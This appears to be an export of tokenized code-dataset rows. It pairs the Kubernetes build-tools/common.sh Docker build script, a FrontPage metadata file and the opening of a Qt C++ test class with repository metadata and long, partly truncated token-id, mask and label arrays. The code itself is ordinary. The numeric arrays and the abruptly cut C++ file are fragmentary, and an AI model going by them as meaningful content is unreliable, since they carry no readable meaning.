1001,
2421,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#!/bin/bash
# Copyright 2014 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Common utilities, variables and checks for all build scripts.
set -o errexit
set -o nounset
set -o pipefail
DOCKER_OPTS=${DOCKER_OPTS:-""}
DOCKER=(docker ${DOCKER_OPTS})
DOCKER_HOST=${DOCKER_HOST:-""}
DOCKER_MACHINE_NAME=${DOCKER_MACHINE_NAME:-"kube-dev"}
readonly DOCKER_MACHINE_DRIVER=${DOCKER_MACHINE_DRIVER:-"virtualbox --virtualbox-memory 4096 --virtualbox-cpu-count -1"}
# This will canonicalize the path
KUBE_ROOT=$(cd $(dirname "${BASH_SOURCE}")/.. && pwd -P)
source "${KUBE_ROOT}/hack/lib/init.sh"
# Set KUBE_BUILD_PPC64LE to y to build for ppc64le in addition to other
# platforms.
# TODO(IBM): remove KUBE_BUILD_PPC64LE and reenable ppc64le compilation by
# default when
# https://github.com/kubernetes/kubernetes/issues/30384 and
# https://github.com/kubernetes/kubernetes/issues/25886 are fixed.
# The majority of the logic is in hack/lib/golang.sh.
readonly KUBE_BUILD_PPC64LE="${KUBE_BUILD_PPC64LE:-n}"
# Constants
readonly KUBE_BUILD_IMAGE_REPO=kube-build
readonly KUBE_BUILD_IMAGE_CROSS_TAG="$(cat ${KUBE_ROOT}/build-tools/build-image/cross/VERSION)"
# This version number is used to cause everyone to rebuild their data containers
# and build image. This is especially useful for automated build systems like
# Jenkins.
#
# Increment/change this number if you change the build image (anything under
# build-tools/build-image) or change the set of volumes in the data container.
readonly KUBE_BUILD_IMAGE_VERSION_BASE="$(cat ${KUBE_ROOT}/build-tools/build-image/VERSION)"
readonly KUBE_BUILD_IMAGE_VERSION="${KUBE_BUILD_IMAGE_VERSION_BASE}-${KUBE_BUILD_IMAGE_CROSS_TAG}"
# Here we map the output directories across both the local and remote _output
# directories:
#
# *_OUTPUT_ROOT - the base of all output in that environment.
# *_OUTPUT_SUBPATH - location where golang stuff is built/cached. Also
# persisted across docker runs with a volume mount.
# *_OUTPUT_BINPATH - location where final binaries are placed. If the remote
# is really remote, this is the stuff that has to be copied
# back.
# OUT_DIR can come in from the Makefile, so honor it.
readonly LOCAL_OUTPUT_ROOT="${KUBE_ROOT}/${OUT_DIR:-_output}"
readonly LOCAL_OUTPUT_SUBPATH="${LOCAL_OUTPUT_ROOT}/dockerized"
readonly LOCAL_OUTPUT_BINPATH="${LOCAL_OUTPUT_SUBPATH}/bin"
readonly LOCAL_OUTPUT_GOPATH="${LOCAL_OUTPUT_SUBPATH}/go"
readonly LOCAL_OUTPUT_IMAGE_STAGING="${LOCAL_OUTPUT_ROOT}/images"
# This is a symlink to binaries for "this platform" (e.g. build tools).
readonly THIS_PLATFORM_BIN="${LOCAL_OUTPUT_ROOT}/bin"
readonly REMOTE_ROOT="/go/src/${KUBE_GO_PACKAGE}"
readonly REMOTE_OUTPUT_ROOT="${REMOTE_ROOT}/_output"
readonly REMOTE_OUTPUT_SUBPATH="${REMOTE_OUTPUT_ROOT}/dockerized"
readonly REMOTE_OUTPUT_BINPATH="${REMOTE_OUTPUT_SUBPATH}/bin"
readonly REMOTE_OUTPUT_GOPATH="${REMOTE_OUTPUT_SUBPATH}/go"
# This is the port on the workstation host to expose RSYNC on. Set this if you
# are doing something fancy with ssh tunneling.
readonly KUBE_RSYNC_PORT="${KUBE_RSYNC_PORT:-}"
# This is the port that rsync is running on *inside* the container. This may be
# mapped to KUBE_RSYNC_PORT via docker networking.
readonly KUBE_CONTAINER_RSYNC_PORT=8730
# Get the set of master binaries that run in Docker (on Linux)
# Entry format is "<name-of-binary>,<base-image>".
# Binaries are placed in /usr/local/bin inside the image.
#
# $1 - server architecture
kube::build::get_docker_wrapped_binaries() {
case $1 in
"amd64")
local targets=(
kube-apiserver,busybox
kube-controller-manager,busybox
kube-scheduler,busybox
kube-proxy,gcr.io/google_containers/debian-iptables-amd64:v4
);;
"arm")
local targets=(
kube-apiserver,armel/busybox
kube-controller-manager,armel/busybox
kube-scheduler,armel/busybox
kube-proxy,gcr.io/google_containers/debian-iptables-arm:v4
);;
"arm64")
local targets=(
kube-apiserver,aarch64/busybox
kube-controller-manager,aarch64/busybox
kube-scheduler,aarch64/busybox
kube-proxy,gcr.io/google_containers/debian-iptables-arm64:v4
);;
"ppc64le")
local targets=(
kube-apiserver,ppc64le/busybox
kube-controller-manager,ppc64le/busybox
kube-scheduler,ppc64le/busybox
kube-proxy,gcr.io/google_containers/debian-iptables-ppc64le:v4
);;
esac
echo "${targets[@]}"
}
# ---------------------------------------------------------------------------
# Basic setup functions
# Verify that the right utilities and such are installed for building Kube. Set
# up some dynamic constants.
#
# Vars set:
# KUBE_ROOT_HASH
# KUBE_BUILD_IMAGE_TAG_BASE
# KUBE_BUILD_IMAGE_TAG
# KUBE_BUILD_IMAGE
# KUBE_BUILD_CONTAINER_NAME_BASE
# KUBE_BUILD_CONTAINER_NAME
# KUBE_DATA_CONTAINER_NAME_BASE
# KUBE_DATA_CONTAINER_NAME
# KUBE_RSYNC_CONTAINER_NAME_BASE
# KUBE_RSYNC_CONTAINER_NAME
# DOCKER_MOUNT_ARGS
# LOCAL_OUTPUT_BUILD_CONTEXT
function kube::build::verify_prereqs() {
kube::log::status "Verifying Prerequisites...."
kube::build::ensure_tar || return 1
kube::build::ensure_rsync || return 1
kube::build::ensure_docker_in_path || return 1
if kube::build::is_osx; then
kube::build::docker_available_on_osx || return 1
fi
kube::build::ensure_docker_daemon_connectivity || return 1
if (( ${KUBE_VERBOSE} > 6 )); then
kube::log::status "Docker Version:"
"${DOCKER[@]}" version | kube::log::info_from_stdin
fi
KUBE_ROOT_HASH=$(kube::build::short_hash "${HOSTNAME:-}:${KUBE_ROOT}")
KUBE_BUILD_IMAGE_TAG_BASE="build-${KUBE_ROOT_HASH}"
KUBE_BUILD_IMAGE_TAG="${KUBE_BUILD_IMAGE_TAG_BASE}-${KUBE_BUILD_IMAGE_VERSION}"
KUBE_BUILD_IMAGE="${KUBE_BUILD_IMAGE_REPO}:${KUBE_BUILD_IMAGE_TAG}"
KUBE_BUILD_CONTAINER_NAME_BASE="kube-build-${KUBE_ROOT_HASH}"
KUBE_BUILD_CONTAINER_NAME="${KUBE_BUILD_CONTAINER_NAME_BASE}-${KUBE_BUILD_IMAGE_VERSION}"
KUBE_RSYNC_CONTAINER_NAME_BASE="kube-rsync-${KUBE_ROOT_HASH}"
KUBE_RSYNC_CONTAINER_NAME="${KUBE_RSYNC_CONTAINER_NAME_BASE}-${KUBE_BUILD_IMAGE_VERSION}"
KUBE_DATA_CONTAINER_NAME_BASE="kube-build-data-${KUBE_ROOT_HASH}"
KUBE_DATA_CONTAINER_NAME="${KUBE_DATA_CONTAINER_NAME_BASE}-${KUBE_BUILD_IMAGE_VERSION}"
DOCKER_MOUNT_ARGS=(--volumes-from "${KUBE_DATA_CONTAINER_NAME}")
LOCAL_OUTPUT_BUILD_CONTEXT="${LOCAL_OUTPUT_IMAGE_STAGING}/${KUBE_BUILD_IMAGE}"
kube::version::get_version_vars
kube::version::save_version_vars "${KUBE_ROOT}/.dockerized-kube-version-defs"
}
# ---------------------------------------------------------------------------
# Utility functions
function kube::build::docker_available_on_osx() {
if [[ -z "${DOCKER_HOST}" ]]; then
if [[ -S "/var/run/docker.sock" ]]; then
kube::log::status "Using Docker for MacOS"
return 0
fi
kube::log::status "No docker host is set. Checking options for setting one..."
if [[ -z "$(which docker-machine)" ]]; then
kube::log::status "It looks like you're running Mac OS X, yet neither Docker for Mac nor docker-machine can be found."
kube::log::status "See: https://docs.docker.com/engine/installation/mac/ for installation instructions."
return 1
elif [[ -n "$(which docker-machine)" ]]; then
kube::build::prepare_docker_machine
fi
fi
}
function kube::build::prepare_docker_machine() {
kube::log::status "docker-machine was found."
docker-machine inspect "${DOCKER_MACHINE_NAME}" &> /dev/null || {
kube::log::status "Creating a machine to build Kubernetes"
docker-machine create --driver ${DOCKER_MACHINE_DRIVER} \
--engine-env HTTP_PROXY="${KUBERNETES_HTTP_PROXY:-}" \
--engine-env HTTPS_PROXY="${KUBERNETES_HTTPS_PROXY:-}" \
--engine-env NO_PROXY="${KUBERNETES_NO_PROXY:-127.0.0.1}" \
"${DOCKER_MACHINE_NAME}" > /dev/null || {
kube::log::error "Something went wrong creating a machine."
kube::log::error "Try the following: "
kube::log::error "docker-machine create -d ${DOCKER_MACHINE_DRIVER} ${DOCKER_MACHINE_NAME}"
return 1
}
}
docker-machine start "${DOCKER_MACHINE_NAME}" &> /dev/null
# it takes `docker-machine env` a few seconds to work if the machine was just started
local docker_machine_out
while ! docker_machine_out=$(docker-machine env "${DOCKER_MACHINE_NAME}" 2>&1); do
if [[ ${docker_machine_out} =~ "Error checking TLS connection" ]]; then
echo ${docker_machine_out}
docker-machine regenerate-certs ${DOCKER_MACHINE_NAME}
else
sleep 1
fi
done
eval $(docker-machine env "${DOCKER_MACHINE_NAME}")
kube::log::status "A Docker host using docker-machine named '${DOCKER_MACHINE_NAME}' is ready to go!"
return 0
}
function kube::build::is_osx() {
[[ "$(uname)" == "Darwin" ]]
}
function kube::build::is_gnu_sed() {
[[ $(sed --version 2>&1) == *GNU* ]]
}
function kube::build::ensure_rsync() {
if [[ -z "$(which rsync)" ]]; then
kube::log::error "Can't find 'rsync' in PATH, please fix and retry."
return 1
fi
}
function kube::build::update_dockerfile() {
if kube::build::is_gnu_sed; then
sed_opts=(-i)
else
sed_opts=(-i '')
fi
sed "${sed_opts[@]}" "s/KUBE_BUILD_IMAGE_CROSS_TAG/${KUBE_BUILD_IMAGE_CROSS_TAG}/" "${LOCAL_OUTPUT_BUILD_CONTEXT}/Dockerfile"
}
function kube::build::ensure_docker_in_path() {
if [[ -z "$(which docker)" ]]; then
kube::log::error "Can't find 'docker' in PATH, please fix and retry."
kube::log::error "See https://docs.docker.com/installation/#installation for installation instructions."
return 1
fi
}
function kube::build::ensure_docker_daemon_connectivity {
if ! "${DOCKER[@]}" info > /dev/null 2>&1 ; then
cat <<'EOF' >&2
Can't connect to 'docker' daemon. please fix and retry.
Possible causes:
- Docker Daemon not started
- Linux: confirm via your init system
- macOS w/ docker-machine: run `docker-machine ls` and `docker-machine start <name>`
- macOS w/ Docker for Mac: Check the menu bar and start the Docker application
- DOCKER_HOST hasn't been set or is set incorrectly
- Linux: domain socket is used, DOCKER_* should be unset. In Bash run `unset ${!DOCKER_*}`
- macOS w/ docker-machine: run `eval "$(docker-machine env <name>)"`
- macOS w/ Docker for Mac: domain socket is used, DOCKER_* should be unset. In Bash run `unset ${!DOCKER_*}`
- Other things to check:
- Linux: User isn't in 'docker' group. Add and relogin.
- Something like 'sudo usermod -a -G docker ${USER}'
- RHEL7 bug and workaround: https://bugzilla.redhat.com/show_bug.cgi?id=1119282#c8
EOF
return 1
fi
}
function kube::build::ensure_tar() {
if [[ -n "${TAR:-}" ]]; then
return
fi
# Find gnu tar if it is available, bomb out if not.
TAR=tar
if which gtar &>/dev/null; then
TAR=gtar
else
if which gnutar &>/dev/null; then
TAR=gnutar
fi
fi
if ! "${TAR}" --version | grep -q GNU; then
echo " !!! Cannot find GNU tar. Build on Linux or install GNU tar"
echo " on Mac OS X (brew install gnu-tar)."
return 1
fi
}
function kube::build::has_docker() {
which docker &> /dev/null
}
# Detect if a specific image exists
#
# $1 - image repo name
# #2 - image tag
function kube::build::docker_image_exists() {
[[ -n $1 && -n $2 ]] || {
kube::log::error "Internal error. Image not specified in docker_image_exists."
exit 2
}
[[ $("${DOCKER[@]}" images -q "${1}:${2}") ]]
}
# Delete all images that match a tag prefix except for the "current" version
#
# $1: The image repo/name
# $2: The tag base. We consider any image that matches $2*
# $3: The current image not to delete if provided
function kube::build::docker_delete_old_images() {
# In Docker 1.12, we can replace this with
# docker images "$1" --format "{{.Tag}}"
for tag in $("${DOCKER[@]}" images ${1} | tail -n +2 | awk '{print $2}') ; do
if [[ "${tag}" != "${2}"* ]] ; then
V=3 kube::log::status "Keeping image ${1}:${tag}"
continue
fi
if [[ -z "${3:-}" || "${tag}" != "${3}" ]] ; then
V=2 kube::log::status "Deleting image ${1}:${tag}"
"${DOCKER[@]}" rmi "${1}:${tag}" >/dev/null
else
V=3 kube::log::status "Keeping image ${1}:${tag}"
fi
done
}
# Stop and delete all containers that match a pattern
#
# $1: The base container prefix
# $2: The current container to keep, if provided
function kube::build::docker_delete_old_containers() {
# In Docker 1.12 we can replace this line with
# docker ps -a --format="{{.Names}}"
for container in $("${DOCKER[@]}" ps -a | tail -n +2 | awk '{print $NF}') ; do
if [[ "${container}" != "${1}"* ]] ; then
V=3 kube::log::status "Keeping container ${container}"
continue
fi
if [[ -z "${2:-}" || "${container}" != "${2}" ]] ; then
V=2 kube::log::status "Deleting container ${container}"
kube::build::destroy_container "${container}"
else
V=3 kube::log::status "Keeping container ${container}"
fi
done
}
# Takes $1 and computes a short has for it. Useful for unique tag generation
function kube::build::short_hash() {
[[ $# -eq 1 ]] || {
kube::log::error "Internal error. No data based to short_hash."
exit 2
}
local short_hash
if which md5 >/dev/null 2>&1; then
short_hash=$(md5 -q -s "$1")
else
short_hash=$(echo -n "$1" | md5sum)
fi
echo ${short_hash:0:10}
}
# Pedantically kill, wait-on and remove a container. The -f -v options
# to rm don't actually seem to get the job done, so force kill the
# container, wait to ensure it's stopped, then try the remove. This is
# a workaround for bug https://github.com/docker/docker/issues/3968.
function kube::build::destroy_container() {
"${DOCKER[@]}" kill "$1" >/dev/null 2>&1 || true
"${DOCKER[@]}" wait "$1" >/dev/null 2>&1 || true
"${DOCKER[@]}" rm -f -v "$1" >/dev/null 2>&1 || true
}
# ---------------------------------------------------------------------------
# Building
function kube::build::clean() {
if kube::build::has_docker ; then
kube::build::docker_delete_old_containers "${KUBE_BUILD_CONTAINER_NAME_BASE}"
kube::build::docker_delete_old_containers "${KUBE_RSYNC_CONTAINER_NAME_BASE}"
kube::build::docker_delete_old_containers "${KUBE_DATA_CONTAINER_NAME_BASE}"
kube::build::docker_delete_old_images "${KUBE_BUILD_IMAGE_REPO}" "${KUBE_BUILD_IMAGE_TAG_BASE}"
V=2 kube::log::status "Cleaning all untagged docker images"
"${DOCKER[@]}" rmi $("${DOCKER[@]}" images -q --filter 'dangling=true') 2> /dev/null || true
fi
kube::log::status "Removing _output directory"
rm -rf "${LOCAL_OUTPUT_ROOT}"
}
# Set up the context directory for the kube-build image and build it.
function kube::build::build_image() {
mkdir -p "${LOCAL_OUTPUT_BUILD_CONTEXT}"
cp /etc/localtime "${LOCAL_OUTPUT_BUILD_CONTEXT}/"
cp build-tools/build-image/Dockerfile "${LOCAL_OUTPUT_BUILD_CONTEXT}/Dockerfile"
cp build-tools/build-image/rsyncd.sh "${LOCAL_OUTPUT_BUILD_CONTEXT}/"
dd if=/dev/urandom bs=512 count=1 2>/dev/null | LC_ALL=C tr -dc 'A-Za-z0-9' | dd bs=32 count=1 2>/dev/null > "${LOCAL_OUTPUT_BUILD_CONTEXT}/rsyncd.password"
chmod go= "${LOCAL_OUTPUT_BUILD_CONTEXT}/rsyncd.password"
kube::build::update_dockerfile
kube::build::docker_build "${KUBE_BUILD_IMAGE}" "${LOCAL_OUTPUT_BUILD_CONTEXT}" 'false'
# Clean up old versions of everything
kube::build::docker_delete_old_containers "${KUBE_BUILD_CONTAINER_NAME_BASE}" "${KUBE_BUILD_CONTAINER_NAME}"
kube::build::docker_delete_old_containers "${KUBE_RSYNC_CONTAINER_NAME_BASE}" "${KUBE_RSYNC_CONTAINER_NAME}"
kube::build::docker_delete_old_containers "${KUBE_DATA_CONTAINER_NAME_BASE}" "${KUBE_DATA_CONTAINER_NAME}"
kube::build::docker_delete_old_images "${KUBE_BUILD_IMAGE_REPO}" "${KUBE_BUILD_IMAGE_TAG_BASE}" "${KUBE_BUILD_IMAGE_TAG}"
kube::build::ensure_data_container
kube::build::sync_to_container
}
# Build a docker image from a Dockerfile.
# $1 is the name of the image to build
# $2 is the location of the "context" directory, with the Dockerfile at the root.
# $3 is the value to set the --pull flag for docker build; true by default
function kube::build::docker_build() {
local -r image=$1
local -r context_dir=$2
local -r pull="${3:-true}"
local -ra build_cmd=("${DOCKER[@]}" build -t "${image}" "--pull=${pull}" "${context_dir}")
kube::log::status "Building Docker image ${image}"
local docker_output
docker_output=$("${build_cmd[@]}" 2>&1) || {
cat <<EOF >&2
+++ Docker build command failed for ${image}
${docker_output}
To retry manually, run:
${build_cmd[*]}
EOF
return 1
}
}
function kube::build::ensure_data_container() {
# If the data container exists AND exited successfully, we can use it.
# Otherwise nuke it and start over.
local ret=0
local code=$(docker inspect \
-f '{{.State.ExitCode}}' \
"${KUBE_DATA_CONTAINER_NAME}" 2>/dev/null || ret=$?)
if [[ "${ret}" == 0 && "${code}" != 0 ]]; then
kube::build::destroy_container "${KUBE_DATA_CONTAINER_NAME}"
ret=1
fi
if [[ "${ret}" != 0 ]]; then
kube::log::status "Creating data container ${KUBE_DATA_CONTAINER_NAME}"
# We have to ensure the directory exists, or else the docker run will
# create it as root.
mkdir -p "${LOCAL_OUTPUT_GOPATH}"
# We want this to run as root to be able to chown, so non-root users can
# later use the result as a data container. This run both creates the data
# container and chowns the GOPATH.
#
# The data container creates volumes for all of the directories that store
# intermediates for the Go build. This enables incremental builds across
# Docker sessions. The *_cgo paths are re-compiled versions of the go std
# libraries for true static building.
local -ra docker_cmd=(
"${DOCKER[@]}" run
--volume "${REMOTE_ROOT}" # white-out the whole output dir
--volume /usr/local/go/pkg/linux_386_cgo
--volume /usr/local/go/pkg/linux_amd64_cgo
--volume /usr/local/go/pkg/linux_arm_cgo
--volume /usr/local/go/pkg/linux_arm64_cgo
--volume /usr/local/go/pkg/linux_ppc64le_cgo
--volume /usr/local/go/pkg/darwin_amd64_cgo
--volume /usr/local/go/pkg/darwin_386_cgo
--volume /usr/local/go/pkg/windows_amd64_cgo
--volume /usr/local/go/pkg/windows_386_cgo
--name "${KUBE_DATA_CONTAINER_NAME}"
--hostname "${HOSTNAME}"
"${KUBE_BUILD_IMAGE}"
chown -R $(id -u).$(id -g)
"${REMOTE_ROOT}"
/usr/local/go/pkg/
)
"${docker_cmd[@]}"
fi
}
# Run a command in the kube-build image. This assumes that the image has
# already been built.
function kube::build::run_build_command() {
kube::log::status "Running build command..."
kube::build::run_build_command_ex "${KUBE_BUILD_CONTAINER_NAME}" -- "$@"
}
# Run a command in the kube-build image. This assumes that the image has
# already been built.
#
# Arguments are in the form of
# <container name> <extra docker args> -- <command>
function kube::build::run_build_command_ex() {
[[ $# != 0 ]] || { echo "Invalid input - please specify a container name." >&2; return 4; }
local container_name="${1}"
shift
local -a docker_run_opts=(
"--name=${container_name}"
"--user=$(id -u):$(id -g)"
"--hostname=${HOSTNAME}"
"${DOCKER_MOUNT_ARGS[@]}"
)
local detach=false
[[ $# != 0 ]] || { echo "Invalid input - please specify docker arguments followed by --." >&2; return 4; }
# Everything before "--" is an arg to docker
until [ -z "${1-}" ] ; do
if [[ "$1" == "--" ]]; then
shift
break
fi
docker_run_opts+=("$1")
if [[ "$1" == "-d" || "$1" == "--detach" ]] ; then
detach=true
fi
shift
done
# Everything after "--" is the command to run
[[ $# != 0 ]] || { echo "Invalid input - please specify a command to run." >&2; return 4; }
local -a cmd=()
until [ -z "${1-}" ] ; do
cmd+=("$1")
shift
done
docker_run_opts+=(
--env "KUBE_FASTBUILD=${KUBE_FASTBUILD:-false}"
--env "KUBE_BUILDER_OS=${OSTYPE:-notdetected}"
--env "KUBE_BUILD_PPC64LE=${KUBE_BUILD_PPC64LE}" # TODO(IBM): remove
)
# If we have stdin we can run interactive. This allows things like 'shell.sh'
# to work. However, if we run this way and don't have stdin, then it ends up
# running in a daemon-ish mode. So if we don't have a stdin, we explicitly
# attach stderr/stdout but don't bother asking for a tty.
if [[ -t 0 ]]; then
docker_run_opts+=(--interactive --tty)
elif [[ "${detach}" == false ]]; then
docker_run_opts+=(--attach=stdout --attach=stderr)
fi
local -ra docker_cmd=(
"${DOCKER[@]}" run "${docker_run_opts[@]}" "${KUBE_BUILD_IMAGE}")
# Clean up container from any previous run
kube::build::destroy_container "${container_name}"
"${docker_cmd[@]}" "${cmd[@]}"
if [[ "${detach}" == false ]]; then
kube::build::destroy_container "${container_name}"
fi
}
function kube::build::rsync_probe {
# Wait unil rsync is up and running.
local tries=20
while (( ${tries} > 0 )) ; do
if rsync "rsync://k8s@${1}:${2}/" \
--password-file="${LOCAL_OUTPUT_BUILD_CONTEXT}/rsyncd.password" \
&> /dev/null ; then
return 0
fi
tries=$(( ${tries} - 1))
sleep 0.1
done
return 1
}
# Start up the rsync container in the backgound. This should be explicitly
# stoped with kube::build::stop_rsyncd_container.
#
# This will set the global var KUBE_RSYNC_ADDR to the effective port that the
# rsync daemon can be reached out.
function kube::build::start_rsyncd_container() {
kube::build::stop_rsyncd_container
V=3 kube::log::status "Starting rsyncd container"
kube::build::run_build_command_ex \
"${KUBE_RSYNC_CONTAINER_NAME}" -p 127.0.0.1:${KUBE_RSYNC_PORT}:${KUBE_CONTAINER_RSYNC_PORT} -d \
-- /rsyncd.sh >/dev/null
local mapped_port
if ! mapped_port=$("${DOCKER[@]}" port "${KUBE_RSYNC_CONTAINER_NAME}" ${KUBE_CONTAINER_RSYNC_PORT} 2> /dev/null | cut -d: -f 2) ; then
kube:log:error "Could not get effective rsync port"
return 1
fi
local container_ip
container_ip=$("${DOCKER[@]}" inspect --format '{{ .NetworkSettings.IPAddress }}' "${KUBE_RSYNC_CONTAINER_NAME}")
# Sometimes we can reach rsync through localhost and a NAT'd port. Other
# times (when we are running in another docker container on the Jenkins
# machines) we have to talk directly to the container IP. There is no one
# strategy that works in all cases so we test to figure out which situation we
# are in.
if kube::build::rsync_probe 127.0.0.1 ${mapped_port}; then
KUBE_RSYNC_ADDR="127.0.0.1:${mapped_port}"
return 0
elif kube::build::rsync_probe "${container_ip}" ${KUBE_CONTAINER_RSYNC_PORT}; then
KUBE_RSYNC_ADDR="${container_ip}:${KUBE_CONTAINER_RSYNC_PORT}"
return 0
fi
kube::log::error "Could not connect to rsync container. See build-tools/README.md for setting up remote Docker engine."
return 1
}
function kube::build::stop_rsyncd_container() {
V=3 kube::log::status "Stopping any currently running rsyncd container"
unset KUBE_RSYNC_ADDR
kube::build::destroy_container "${KUBE_RSYNC_CONTAINER_NAME}"
}
# This will launch rsyncd in a container and then sync the source tree to the
# container over the local network.
function kube::build::sync_to_container() {
kube::log::status "Syncing sources to container"
kube::build::start_rsyncd_container
local rsync_extra=""
if (( ${KUBE_VERBOSE} >= 6 )); then
rsync_extra="-iv"
fi
# rsync filters are a bit confusing. Here we are syncing everything except
# output only directories and things that are not necessary like the git
# directory. The '- /' filter prevents rsync from trying to set the
# uid/gid/perms on the root of the sync tree.
V=3 kube::log::status "Running rsync"
rsync ${rsync_extra} \
--archive \
--delete \
--prune-empty-dirs \
--password-file="${LOCAL_OUTPUT_BUILD_CONTEXT}/rsyncd.password" \
--filter='- /.git/' \
--filter='- /.make/' \
--filter='- /_tmp/' \
--filter='- /_output/' \
--filter='- /' \
"${KUBE_ROOT}/" "rsync://k8s@${KUBE_RSYNC_ADDR}/k8s/"
kube::build::stop_rsyncd_container
}
# Copy all build results back out.
function kube::build::copy_output() {
kube::log::status "Syncing out of container"
kube::build::start_rsyncd_container
local rsync_extra=""
if (( ${KUBE_VERBOSE} >= 6 )); then
rsync_extra="-iv"
fi
# The filter syntax for rsync is a little obscure. It filters on files and
# directories. If you don't go in to a directory you won't find any files
# there. Rules are evaluated in order. The last two rules are a little
# magic. '+ */' says to go in to every directory and '- /**' says to ignore
# any file or directory that isn't already specifically allowed.
#
# We are looking to copy out all of the built binaries along with various
# generated files.
V=3 kube::log::status "Running rsync"
rsync ${rsync_extra} \
--archive \
--prune-empty-dirs \
--password-file="${LOCAL_OUTPUT_BUILD_CONTEXT}/rsyncd.password" \
--filter='- /vendor/' \
--filter='- /_temp/' \
--filter='+ /_output/dockerized/bin/**' \
--filter='+ zz_generated.*' \
--filter='+ generated.proto' \
--filter='+ *.pb.go' \
--filter='+ */' \
--filter='- /**' \
"rsync://k8s@${KUBE_RSYNC_ADDR}/k8s/" "${KUBE_ROOT}"
kube::build::stop_rsyncd_container
}
| bryk/kubernetes | build-tools/common.sh | Shell | apache-2.0 | 26,120 | [
30522,
1001,
999,
1013,
8026,
1013,
24234,
1001,
9385,
2297,
1996,
13970,
5677,
7159,
2229,
6048,
1012,
1001,
1001,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1001,
2017,
2089,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
vti_encoding:SR|utf8-nl
vti_timelastmodified:TR|08 Nov 2012 23:29:31 -0000
vti_extenderversion:SR|5.0.2.6790
vti_lineageid:SR|{44761BDF-1053-4E8B-8B42-2966A30F18D2}
vti_cacheddtm:TX|08 Nov 2012 23:29:31 -0000
vti_filesize:IR|2149
vti_backlinkinfo:VX|
| JustinTBayer/chapter-manager | _vti_cnf/changelog.php | PHP | gpl-2.0 | 258 | [
30522,
28879,
2072,
1035,
17181,
1024,
5034,
1064,
21183,
2546,
2620,
1011,
17953,
28879,
2072,
1035,
2051,
8523,
21246,
7716,
7810,
1024,
19817,
1064,
5511,
13292,
2262,
2603,
1024,
2756,
1024,
2861,
1011,
2199,
2692,
28879,
2072,
1035,
79... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#include <Teambuilder/analyze.h>
#include "testplayer.h"
void TestPlayer::start()
{
run();
}
void TestPlayer::run()
{
createAnalyzer();
}
void TestPlayer::createAnalyzer()
{
Analyzer *analyzer = new Analyzer();
connect(this, SIGNAL(destroyed()), analyzer, SLOT(deleteLater()));
connect(analyzer, SIGNAL(connected()), SLOT(onPlayerConnected()));
connect(analyzer, SIGNAL(disconnected()), SLOT(onPlayerDisconnected()));
connect(analyzer, SIGNAL(channelMessageReceived(QString,int,bool)), SLOT(onChannelMessage(QString,int,bool)));
connect(analyzer, SIGNAL(messageReceived(QString)), SLOT(onMessage(QString)));
